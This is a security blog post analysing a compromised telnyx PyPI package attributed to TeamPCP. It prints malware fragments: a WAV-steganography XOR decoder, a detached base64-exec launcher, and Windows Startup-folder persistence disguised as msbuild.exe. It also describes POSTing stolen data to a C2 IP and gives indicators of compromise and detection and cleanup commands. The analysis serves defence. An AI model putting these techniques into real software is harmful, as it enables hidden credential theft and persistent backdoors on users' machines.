Famous Telnyx Pypi Package compromised by TeamPCP
None
<p><strong>Part 3 of the TeamPCP Supply Chain Series</strong></p><p>Part 1 covered CanisterWorm, the self-spreading npm worm. Part 2 covered the malicious LiteLLM package and its .pth persistence. This post covers the third wave: a compromised telnyxPyPI package that hides its payload inside audio files and delivers entirely different malware depending on the victim’s operating system.</p><p>On March 27, 2026, two malicious versions of <code>telnyx</code> were published to PyPI (4.87.1,4.87.2). Telnyx is a widely used Python SDK for voice, SMS, and communications APIs, common in production applications that handle phone calls, messaging, and telephony infrastructure. The malicious package runs automatically on import and contacts a command-and-control server to download what appears to be an audio file. That file contains no audio at all. It contains the attacker’s payload.</p><p>The C2 server, RSA public key, and exfiltration format are identical to the LiteLLM attack from March 24. This is TeamPCP’s third PyPI strike in eight days.</p><h2 class="wp-block-heading" id="payload-hidden-in-audio-how-wav-steganography-works-here"><strong>Payload hidden in audio: How WAV steganography works here</strong></h2><p>Previous TeamPCP payloads embedded their second stage directly in the package source as a base64-encoded string. Static scanners can flag that pattern. This version fetches its payload live at runtime, concealed inside a <code>.wav</code> audio container.</p><p>When the malicious <code>telnyx</code> package is imported, two functions run at module level: <code>Setup()</code> on Windows and <code>FetchAudio()</code> on Linux and macOS. Both check the operating system first, then download a different <code>.wav</code> file and extract a different payload using the same decoding technique.</p><p>Think of it like a picture frame holding a hidden message instead of a photo. Python’s built-in wave module reads the audio frame data, but that data is not audio. The attacker has packed a base64-encoded payload into the frame bytes. The decoder then XORs the data with a short key embedded at the start of the blob to produce the final executable content.</p><pre class="wp-block-code"><code>with wave.open(wf, 'rb') as w: raw = base64.b64decode(w.readframes(w.getnframes())) s, data = raw[:8], raw[8:] payload = bytes([data[i] ^ s[i % len(s)] for i in range(len(data))])</code></pre><p><sub><strong>Figure 1:</strong> WAV steganography decoder shared by both the Linux and Windows paths</sub></p><p>The first 8 bytes of the decoded blob are the XOR key (<code>s</code>). The rest is the payload, XOR’d byte-by-byte against that key in a repeating pattern. This is a simple but effective obfuscation layer: the payload in the <code>.wav</code> file is unreadable without applying the key, and the key is embedded in the data itself rather than hardcoded anywhere in the package.</p><p>The C2 serves two distinct files on two distinct endpoints:</p><figure class="wp-block-table"> <table class="has-fixed-layout"> <thead> <tr> <th><strong>Endpoint</strong></th> <th><strong>Platform</strong></th> <th><strong>Payload type</strong></th> </tr> </thead> <tbody> <tr> <td><code>GET /ringtone.wav</code></td> <td>Linux / macOS</td> <td>Python script</td> </tr> <tr> <td><code>GET /hangup.wav</code></td> <td>Windows</td> <td>PE executable</td> </tr> </tbody> </table> </figure><p>The naming is intentional misdirection. A ringtone download and a call hangup event are both plausible network requests for a telephony SDK to make.</p><h2 class="wp-block-heading" id="linux-and-macos-credential-theft-via-detached-process"><strong>Linux and macOS: Credential theft via detached process</strong></h2><p>On Linux and macOS, <code>FetchAudio()</code> runs a Python payload that is embedded directly in the package as an obfuscated string <code>_p</code>, launched as a completely detached subprocess:</p><pre class="wp-block-code"><code>subprocess.Popen( [sys.executable, "-c", f"import base64; exec(base64.b64decode('{_p}').decode())"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, start_new_session=True )</code></pre><p><sub><strong>Figure 2:</strong> Linux and macOS payload launcher, detached from the parent process to survive termination</sub></p><p><code>start_new_session=True</code> is the key detail. It creates a new session leader, breaking the process away from the parent. When the Python application that imported <code>telnyx</code> exits, this process keeps running. It is not visible as a child of the original process.</p><p>The detached script downloads <code>ringtone.wav</code>, decodes the WAV payload, and pipes the resulting Python script into a fresh interpreter via <code>subprocess.run([sys.executable, "-"], input=payload)</code>. The script’s output is collected, then encrypted and exfiltrated using the same pipeline documented in the LiteLLM analysis: a 32-byte random AES session key encrypts the data, the session key is RSA-OAEP encrypted with the attacker’s public key, both are bundled into <code>tpcp.tar.gz</code>, and the archive is POSTed to <code>http://83.142.209.203:8080/</code> with the header <code>X-Filename: tpcp.tar.gz</code>.</p><p>The dynamic payload in <code>ringtone.wav</code> is a second-stage script the attacker controls and can rotate at any time without touching the PyPI package.</p><h2 class="wp-block-heading" id="windows-silent-startup-persistence"><strong>Windows: Silent startup persistence</strong></h2><p>The Windows path operates differently. Rather than exfiltrating credentials in a single transient run, <code>Setup()</code> installs a persistent binary that survives reboots and runs every time the user logs in.</p><p>The target location, obfuscated throughout the source using base64-encoded strings decoded by a helper function <code>_d()</code>:</p><pre class="wp-block-code"><code>%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\msbuild.exe</code></pre><p>Placing a binary in the Startup folder is a persistence technique that requires no administrator access and no registry changes. The Windows shell executes everything in that folder at login. Naming the binary <code>msbuild.exe</code>, after Microsoft’s legitimate build tool that ships with Visual Studio, is designed to survive a manual review of startup entries or running processes.</p><pre class="wp-block-code"><code># decode hangup.wav using the shared WAV stego technique, write to Startup with open(p, "wb") as f: f.write(payload) # execute silently: CREATE_NO_WINDOW flag suppresses any console window subprocess.Popen([p], creationflags=0x08000000)</code></pre><p><sub><strong>Figure 3:</strong> Windows payload decoding and silent execution, with a 12-hour re-infection guard</sub></p><p><code>creationflags=0x08000000</code> is the <code>CREATE_NO_WINDOW</code> flag. The binary runs with no visible console or taskbar presence.</p><p>Before installing, <code>Setup()</code> checks for a lock file (<code>msbuild.exe.lock</code>) in the same directory. If the lock exists and was written less than 12 hours ago, the function exits without doing anything. This prevents multiple concurrent infections from racing. The lock file is immediately hidden using <code>attrib +h</code> so it does not appear in standard Explorer views.</p><h2 class="wp-block-heading" id="attribution-third-wave-same-infrastructure"><strong>Attribution: Third wave, same infrastructure</strong></h2><p>The telnyx payload shares every significant infrastructure indicator with the LiteLLM attack from three days earlier:</p><figure class="wp-block-table"> <table class="has-fixed-layout"> <thead> <tr> <th><strong>Indicator</strong></th> <th><strong>LiteLLM (Part 2)</strong></th> <th><strong>Telnyx (Part 3)</strong></th> </tr> </thead> <tbody> <tr> <td>C2 server</td> <td><code>83.142.209.203:8080</code></td> <td><code>83.142.209.203:8080</code></td> </tr> <tr> <td>RSA public key</td> <td><code>vahaZDo8mucujrT15ry+</code>…</td> <td>Identical</td> </tr> <tr> <td>Exfil archive name</td> <td><code>tpcp.tar.gz</code></td> <td><code>tpcp.tar.gz</code></td> </tr> <tr> <td>Encryption</td> <td>AES-256-CBC + RSA-OAEP</td> <td>Identical</td> </tr> </tbody> </table> </figure><p>The only new element is the delivery mechanism. Where LiteLLM embedded its payload in a <code>.pth</code> file that executed on every Python startup, telnyx fetches its payload at runtime from a live C2 endpoint. This reduces the static footprint in the package and allows the attacker to update the second-stage payload without publishing a new version.</p><h2 class="wp-block-heading" id="indicators-of-compromise"><strong>Indicators of compromise</strong></h2><h3 class="wp-block-heading" id="network"><strong>Network</strong></h3><figure class="wp-block-table"> <table class="has-fixed-layout"> <thead> <tr> <th><strong>Indicator</strong></th> <th><strong>Purpose</strong></th> </tr> </thead> <tbody> <tr> <td><code>hxxp://83.142.209.203:8080/ringtone.wav</code></td> <td>Linux/macOS payload delivery</td> </tr> <tr> <td><code>hxxp://83.142.209.203:8080/hangup.wav</code></td> <td>Windows payload delivery</td> </tr> <tr> <td><code>POST hxxp://83.142.209.203:8080/ with X-Filename: tpcp.tar.gz</code></td> <td>Credential exfiltration</td> </tr> </tbody> </table> </figure><h3 class="wp-block-heading" id="filesystem"><strong>Filesystem</strong></h3><figure class="wp-block-table"> <table class="has-fixed-layout"> <thead> <tr> <th><strong>Path</strong></th> <th><strong>Platform</strong></th> <th><strong>Description</strong></th> </tr> </thead> <tbody> <tr> <td><code>%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\msbuild.exe</code></td> <td>Windows</td> <td>Persistent backdoor binary</td> </tr> <tr> <td><code>%APPDATA%\...\Startup\msbuild.exe.lock</code></td> <td>Windows</td> <td>Re-infection guard, hidden</td> </tr> </tbody> </table> </figure><h3 class="wp-block-heading" id="detection"><strong>Detection</strong></h3><pre class="wp-block-code"><code># Linux/macOS: look for detached python process running base64-decoded payload ps aux | grep "exec(base64.b64decode" # Verify your installed telnyx source does not contact the C2 python3 -c "import inspect, telnyx; print(inspect.getfile(telnyx))" grep -r "83.142.209.203\|ringtone.wav\|audioimport\|WAV_URL" \ $(python3 -c "import site; print(' '.join(site.getsitepackages()))")/telnyx/ # Windows: check Startup folder for disguised binary Get-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\msbuild.exe" -ErrorAction SilentlyContinue Get-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\msbuild.exe.lock" -ErrorAction SilentlyContinue</code></pre><p><sub><strong>Figure 4: </strong>Commands to check for active telnyx infection on Linux/macOS and Windows</sub></p><p>If the Windows artifacts are present, the binary has already been planted and has run at least once since the last login. Treat the machine as fully compromised.</p><h3 class="wp-block-heading" id="remediation-recommendations"><strong>Remediation recommendations</strong></h3><p>Remove the malicious package and any dropped artifacts:</p><pre class="wp-block-code"><code>pip uninstall telnyx # reinstall a clean version after verifying source on GitHub # Windows: remove persistence Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\msbuild.exe" -Force Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\msbuild.exe.lock" -Force</code></pre><p>Rotate all cloud credentials, API keys, and SSH keys accessible from any environment where the malicious package was installed. On Windows, assume the dropped binary has had at minimum one execution opportunity since the user’s last login.</p><h2 class="wp-block-heading" id="conclusion"><strong>Conclusion</strong></h2><p>The telnyx compromise introduces a delivery technique that is new to this campaign: live payload fetching through WAV steganography, with the C2 serving different second stages to Linux and Windows hosts from the same infrastructure.</p><p>TeamPCP has now hit npm, PyPI CI/CD tooling, AI development libraries, and telephony infrastructure across nine days. Each wave uses the same backend but adapts the delivery to the target ecosystem. The shift from embedded payloads to live C2 delivery is the most significant technique change so far, and it means the actual capability delivered to victims is entirely under the attacker’s control at runtime.<br>PyPI has acted fast and quarantined Telnyx. Verify your installed <code>telnyx</code> version against the official GitHub repository. If you were running the malicious version, follow the remediation steps above and treat any credentials on that machine as stolen.</p><div class="spu-placeholder" style="display:none"></div><div class="addtoany_share_save_container addtoany_content addtoany_content_bottom"><div class="a2a_kit a2a_kit_size_20 addtoany_list" data-a2a-url="https://securityboulevard.com/2026/03/famous-telnyx-pypi-package-compromised-by-teampcp/" data-a2a-title="Famous Telnyx Pypi Package compromised by TeamPCP"><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Ffamous-telnyx-pypi-package-compromised-by-teampcp%2F&linkname=Famous%20Telnyx%20Pypi%20Package%20compromised%20by%20TeamPCP" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Ffamous-telnyx-pypi-package-compromised-by-teampcp%2F&linkname=Famous%20Telnyx%20Pypi%20Package%20compromised%20by%20TeamPCP" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Ffamous-telnyx-pypi-package-compromised-by-teampcp%2F&linkname=Famous%20Telnyx%20Pypi%20Package%20compromised%20by%20TeamPCP" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Ffamous-telnyx-pypi-package-compromised-by-teampcp%2F&linkname=Famous%20Telnyx%20Pypi%20Package%20compromised%20by%20TeamPCP" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Ffamous-telnyx-pypi-package-compromised-by-teampcp%2F&linkname=Famous%20Telnyx%20Pypi%20Package%20compromised%20by%20TeamPCP" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share"></a></div></div><p class="syndicated-attribution">*** This is a Security Bloggers Network syndicated blog from <a href="https://www.mend.io">Mend</a> authored by <a href="https://securityboulevard.com/author/0/" title="Read other posts by Tom Abai">Tom Abai</a>. Read the original post at: <a href="https://www.mend.io/blog/famous-telnyx-pypi-package-compromised-by-teampcp/">https://www.mend.io/blog/famous-telnyx-pypi-package-compromised-by-teampcp/</a> </p>